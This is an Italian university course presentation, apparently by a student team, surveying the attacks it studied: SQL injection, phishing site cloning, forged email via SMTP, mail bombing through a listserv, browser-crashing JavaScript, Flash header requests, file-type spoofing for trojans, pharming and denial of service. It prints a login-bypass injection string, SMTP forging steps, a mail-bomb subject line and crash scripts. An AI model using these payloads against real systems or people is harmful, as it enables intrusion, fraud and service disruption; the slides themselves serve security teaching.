La presentazione è in caricamento. Aspetta per favore

La presentazione è in caricamento. Aspetta per favore

KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno.

Presentazioni simili


Presentazione sul tema: "KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno."— Transcript della presentazione:

1 KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

2 Indice Sql Injection Phishing e mail fasulle Attacchi attraverso siti web Pharming e file spoofing Denial of Service

3 Sql injection Tutti gli attacchi ad applicazioni, tipicamente web, in cui il programma utilizza esegue operazioni su un database SQL utilizzando variabili passate dallutente senza averle prima verificate Generalmente le applicazioni hanno dei form che fanno leva su database interrogati sulla base dei dati inseriti dallutente Quindi ogni volta che si sottomette un form viene eseguita unoperazione su un database

4 Sql injection Possiamo quindi considerare il caso tipico della login di un utente su un sito web Lutente inserisce la propria login e password e sottomette i dati Ipotizzando che la login sia Felice e la password sia allora è presumibile che sia eseguita la query SELECT * from tabella where ID=' Felice ' AND PASSWORD=' '

5 Sql injection Il nostro obiettivo è quello di ingannare il parser sql per generare comportamenti imprevisti Proviamo ad inserire il carattere ' nel campo login e sottomettere i dati Se non sono stati fatti controlli sui dati di input allora la query eseguita sarà la seguente SELECT * from tabella where ID=' ' ' AND PASSWORD=' ' Lapice viene considerato come simbolo di dichiarazione Viene generato un errore

6 Sql injection Proviamo ad inserire la stringa ' OR "=' nei campi login e password La query eseguita sarà la seguente: SELECT * from tabella where ID= ' ' OR "=' ' AND PASSWORD= ' ' OR "=' ' La clausola WHERE sarà sempre vera e lhacker è autenticato senza credenziali! Spesso lamministratore si registra tra gli utenti posizionandosi nella prima tupla della tabella poiché la select restituirà la prima tupla della tabella lhacker sarà loggato come amministratore

8 Sql injection In generale la costruzione della stringa dipende dalla versione del server sql in uso. Prevenire questattacco è semplice Basta controllare lato server se lhacker ha inserito degli apici È bene non fidarsi del codice javascript che può essere aggirato soprattutto se la richiesta è di tipo GET È opportuno limitare i privilegi

9 Phishing Il termine phishing (abboccamento) deriva dalla storpiatura del verbo inglese to fish che significa pescare Lidea è quella di pescare utenti in rete per farli cadere allinterno di trappole tese da incalliti ed navigati truffatori Lobiettivo è ottenere informazioni sensibili quali i usernames, le parole d'accesso, le identificazioni di cliente o comunque dati che permettano di estorcere illegalmente soldi ad ignari utenti

10 Phishing In termini pratici il phishing si traduce nel dirigere utenti verso siti pirata che hanno lobiettivo di simulare organizzazioni reali per ottenere informazioni Il phisher segue due passi : 1 Copia grafica del sito di riferimento dellorganizzazione target 2 Attrarre le vittime verso il sito

11 Phishing Il primo passo è banale ed esistono peraltro tool che ben supportano questa operazione Noi abbiamo utilizzato Teleport La sezione dinamica del sito viene riprogrammata per verosimiglianza Lutente apparentemente fa operazioni ma viene costretto in ogni modo a rivelare le proprie informazioni incutendo terrore nella vittima con messaggi che lo inducano ad agire velocemente e sconsideratamente Per fare ciò si inviano messaggi che obbligano ad esempio a svelare login, password, codici bancari …. Il sito pirata nella realtà viene piazzato su server in nazioni estere

12 Phishing Il secondo passo consiste nel dirigere le vittime verso la trappola Per fare questo esistono due possibilità: 1) DNS POISONING (nella maggior parte dei casi un miraggio) 2) Utilizzo di vere e proprie esche Abbiamo considerato questa seconda strada

13 Phishing Una prima possibilità è quella di mettere il link allinterno di forum o chat Il limite di questa strategia è che questi link possono avere scarsa visibilità e possono essere eliminati velocemente prima di aver fatto danni La seconda possibilità è quella di utlizzare il servizio di posta inviando mail fasulle che ricalcano la grafica delle organizzazioni target Allinterno delle mail si posiziona un link che punta al sito pirata

14 Phishing I phisher hanno un potente alleato: gli spammers Questi mettono a disposizione i loro database per fornire indirizzi attivi In generale non è bene fidarsi dellindirizzo visualizzato al passaggio del mouse poiché può essere mascherato attraverso codice javascript

15 Mail fasulle Argomento correlato al phishing è quello delle mail fasulle Sendmail è un daemon che aspetta connessioni sulla porta 25 usato per inviare la posta in uscita Collegandosi tramite telnet in prova.it sulla porta 25 e digitando i comandi esatti, è possibile generare false Supponiamo che il nostro obiettivo è a cui vogliamo recapitare una mail da parte di

16 Mail fasulle Dopo esserci connessi a prova.it:25 dovremmo ottenere un messaggio del tipo 220 prova.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul :46: (GMT) I comandi saranno HELO nomeprovider.it La risposta sarà: 250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you MAIL FROM: RCPT TO: DATA con il contenuto seguito da due righe vuote e dal punto

17 Mail fasulle Concettualmente è possibile seppellire la mail box di un potenziale vittima ponendo come mittenet la vittima e destinatario un listserv Un Listserv è un programma che invia programmi tramite nel caso non si riesca a prelevarlo via FTP. Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome è "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella della nostra vittima, ponendo nel campo SUBJECT quanto segue REPLY CONNECT pluto.it anonymous BINARY GET mieifiles/enorme.gz QUIT

18 Attacchi attraverso siti web Fare eseguire lato client codice o script Molto dipende dalle configurazioni e dalle verioni del software utilizzato dai client Abbiamo analizzato le applet java, javascript e Macromedia Flash Tutte implementano un modello di sicurezza basato su sandbox

19 Attacchi attraverso siti web JAVA(lultima versione) ha un livello di sicurezza superiore rispetto alle altre 2 tecnologie È però possibile scrivere codice -Con lobiettivo di usurare le risorse del client -Far crashare alcuni browser

20 Attacchi attraverso siti web Javascript ha una lunga ingloriosa storia legata a problemi di sicurezza Riportiamo alcuni esempi tra quelli documentati function ex() { var buffer = ""; for (var i = 0; i < 5000; i++) { buffer += "A"; } var buffer2 = buffer; for (i = 0; i < 500; i++) { buffer2 += buffer; } document.title = buffer2; } Exploit per alcune versione di Firefox 1.5

21 Attacchi attraverso siti web È più semplice attaccare Internet Explorer 6.0 Attacco per Denail of Service a = new Array(); while (1) { (a = new Array(a)).sort(); } a = new Array(); while (1) { (a = new Array(a)).sort(); } Attacco per far crashare il browser function Demo() { var a = document.createElement('table'); var b = document.createElement('frameset'); a.appendChild(b); }

22 Attacchi attraverso siti web Adobe ha sviluppato un linguaggio di script (Action Script)per potenziare Flash È possibile inviare richieste http a terze parti settando degli header var req:LoadVars=new LoadVars(); req.addRequestHeader("Foo","Bar"); req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2", "_blank","GET"); Oppure var req:LoadVars=new LoadVars(); req.addRequestHeader("Foo","Bar"); req.decode("a=b&c=d"); req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2", "_blank","POST");

23 Pharming Tecnica basata essenzialmente sulla manipolazione degli indirizzi web Punta a modificare lassociazione tra indirizzi IP e nomi di dominio per reindirizzare lutenza verso altri siti. Due tecniche di attacco: – si operano delle variazioni nei Server DNS dell'Internet Service Provider modificando gli abbinamenti tra il dominio e l'indirizzo IP corrispondente a quel dominio – con l'ausilio di programmi trojan una variazione nel personal computer della vittima

24 Inviare trojan con File spoofing Lo scopo è quello di inserire o modificare gli abbinamenti tra il dominio interessato e l'indirizzo IP corrispondente a quel dominio in un file locale particolare (File hosts in windows) Lo spoofing dei tipi di file è una tecnica usata per simulare che un certo file corrisponda ad un tipo diverso da ciò che è realmente ingannare un utente facendogli credere che un trojan sembri un tipo di file innocuo

25 Inviare trojan con File spoofing Due tecniche conosciute: – Trucco della doppia estensione di Windows: Rinominare un file con una doppia estensione in modo tale da ingannare la visualizzazione di windows (ES: Archivio.zip.exe viene visualizzato come Archivio.zip) Attacco da eseguire a coloro che conoscono windows da 2(massimo 3) giorni :D – Il mime nelle Gli attachment in un messaggio di posta elettronica vengono codificati usando lo standard MIME con una codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si tratti di file binari L'inganno consiste proprio nel cambiare il campo "Content-Type" indicando magari che un file eseguibile è un'immagine

26 Il nostro scopo Riuscire a dirottare tutto il traffico possibile verso la nostra macchina Ottenere informazioni sui possibili utenti del sito attaccato: – Creando un sito che simulasse gran parte delle funzionalità – Lutente ignaro della situazione avrebbe avuto accesso al sito fasullo e avrebbe dato informazioni di login che si potevano sfruttare per fare altri danni

27 Come difendersi Non esistono ancora dei programmi specifici ma si usano: – firewall che tentano di impedire l'accesso al proprio PC da parte di utenti esterni – antivirus che bloccano l'esecuzione di codice malevolo Siti certificati: – Se il sito a cui ci si collega è un sito sicuro prima dell'accesso verrà mostrato un certificato digitale emesso da una autorità di certificazione conosciuta – Questo certificato andrebbe quantomeno letto e non frettolosamente accettato

28 Denial of Service Attacco con cui un aggressore tenta di rendere una risorsa troppo occupata per rispondere a richieste legittime o di negare a utenti legittimi l'accesso ad una macchina I primi attacchi si cercavano di esaurire risorse hardware della vittima, quali lo spazio su disco, la memoria e la CPU: – ciò era ottenibile spedendo pochi pacchetti malformati che mandavano in crash il sistema remoto Due tipi sono più conosciuti: – Syn-Flood – Smurf

29 Syn-Flood Letteralmente: "inondazione di pacchetti di tipo Syn" Tutte le volte che un utente fa click su di un link di una pagina web: – si richiede l'apertura di una connessione (di tipo TCP) verso quel sito – si eseguono una serie di passi, il primo dei quali consiste nell'invio di un pacchetto TCP che richiede l'apertura di una connessione Le regole di funzionamento del protocollo TCP esigono che il sistema risponda allocando alcune risorse per la connessione

30 Syn-Flood(2) si richiede l'apertura di diverse migliaia di connessioni al secondo che: – "inondando" il server – ne consumano rapidamente tutta la memoria, bloccandolo o mandandolo in crash.

31 Smurf utilizza un flusso di pacchetti modesto che: – è in grado di passare attraverso una normale connessione via modem, ed una rete esterna, che sia stata mal configurata – usa la rete malconfigurata, che agisce da moltiplicatore di pacchetti, i quali si dirigono infine verso il bersaglio finale lungo linee di comunicazione ad alta velocità Si noti che questo tipo di attacco è possibile solo in presenza di reti che abbiano grossolani errori di configurazione dei sistemi (router) che le collegano tra loro e con Internet

32 Distributed Denial of Services DDoS ripete lo stesso approccio utilizzando però diversi punti d'ingresso contemporanei si è in grado di mettere in ginocchio sistemi più grandi che sarebbero indifferenti ad un singolo flood Come funziona: – si infettano un numero elevato di computer(successivamente chiamati zombie) con dei virus o worm che lasciano aperte delle backdoor riservate – Quando il numero di zombie è ritenuto adeguato, o quando scatta una specifica data, i computer infetti si attivano e sommergono il server bersaglio di false richieste

33 I nostri attacchi DoS Inutile fare un attacco DoS su una rete non attiva: – Congestionare una rete o incrementare esponenzialmente il lavoro un computer che che non offrono servizi è un controsenso :D Il nostro lavoro si è incentrato soprattutto su altre tipologie di attacco più produttive in relazione a quelli che erano gli scopi del corso


Scaricare ppt "KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno."

Presentazioni simili


Annunci Google